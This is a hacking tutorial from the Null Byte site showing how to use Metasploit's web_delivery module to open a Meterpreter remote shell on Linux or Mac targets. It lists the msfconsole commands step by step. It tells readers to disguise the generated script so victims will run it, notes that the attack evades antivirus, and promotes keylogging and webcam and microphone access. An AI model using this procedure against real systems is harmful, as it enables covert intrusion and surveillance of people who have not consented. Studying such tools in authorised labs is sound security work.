Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac) « Null Byte :: WonderHowTo

Welcome back, my budding hackers!Metasploit, one of my favorite hacking/pentesting tools, has so many capabilities that even aftermy many tutorialson it, I have only scratched the surface of it capabilities. For instance, it can be used withNexposefor vulnerability scanning, withNmapfor port scanning, and with its numerous auxiliary modules, nearly unlimited other hacking related capabilities.Among the exploit modules, a category that we have not addressed are the web delivery exploits. These exploits enable us to open a web server on the attack system and then generate a simple script command that, when executed on the victim system, will open a Meterpreter shell on the target. This web delivery exploit can usePython, PHP, or the WindowsPowerShellscripts.Of course, it is your job to get the script on the target machine. This means that you will likely need to get physical access to the system or envelope the code into a seemingly innocuous-looking object that the victim will be enticed to execute.In this tutorial, we will exploit a Linux or Mac system. Since both are UNIX-like systems, they both have built-in Python interpreters by default. If we can get the script command generated by this exploit on the target, we can have complete control of the system including keystroke logging, turning on the webcam, recording from the microphone, and reading or deleting any files on the system.Let's get started.Step 1: Open a TerminalThe first step, of course, is to fire upKaliand open a terminal.Step 2: Start Metasploit & Load the ExploitNext, start Metasploit by typing:kali > msfconsoleThis should open the msfconsole like that below.Then we need to load the exploit:msf > use exploit/multi/script/web_deliverySet the IP of our attack system:msf > set LHOST 192.168.181.153And set the port we want to use:msf > set LPORT 4444Of course, I am using my private IP address in my lab, but if the target is outside your LAN, you will likely need to use your public IP and then port forward.Step 3: Show OptionsNow that we have the exploit loaded and ready to go, let's take a look at the options for this exploit. Type:msf > show optionsIt looks like we have all the options set as we need. Now, let's get a bit more information on this exploit before we proceed. Type:msf > infoAs you can read above, this exploit starts a web server on our attack system and, when the command that is generated is executed on the target system, a payload is downloaded to victim. In addition, this attack does not write to disk, so it should not trigger theantivirus softwareon the victim's system.Step 4: Start the ExploitOur next step is to run the exploit. This starts the web server on our attack system and also generates a Python command that we can use to connect to this web server. Before we do that, though, we need to set the target to 0, selecting the Python exploit.msf > set target 0Now, we can type exploit:msf > exploitNotice the last thing this exploit writes is "Run the following command on the target machine" followed by the command we need to use. Copy this command.Step 5: Run the Command on the Victim SystemNext, take that command to the victim machine. In this case, I'm using an Ubuntu 14.04 system. You will need to precede the command withsudoas it requires root privileges.Then hitEnter. When you return to your Kali system, you can see a Meterpreter has been started on the target system! We own that box!Initially, the Meterpreter is running in the background. To bring it to the foreground, we can type:msf > sessions -lThis then lists the "active sessions." Notice that this session ID is "1." We then can activate that session by typing:msf > sessions - i 1This then brings the Meterpreter session to the foreground and we get the meterpreter prompt! To control the system, we can run the Meterpretercommandsorscripts, although most of the scripts are written for Windows systems.Keep coming back, my budding hackers, as we continue to explorethemost valuable skills of the 21st century—hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How to Hack Like a Pro:Getting Started with MetasploitNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Mac for Hackers:How to Get Your Mac Ready for HackingNews:What to Expect from Null Byte in 2015Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)Hack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Chain VPNs for Complete AnonymityCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking Simulations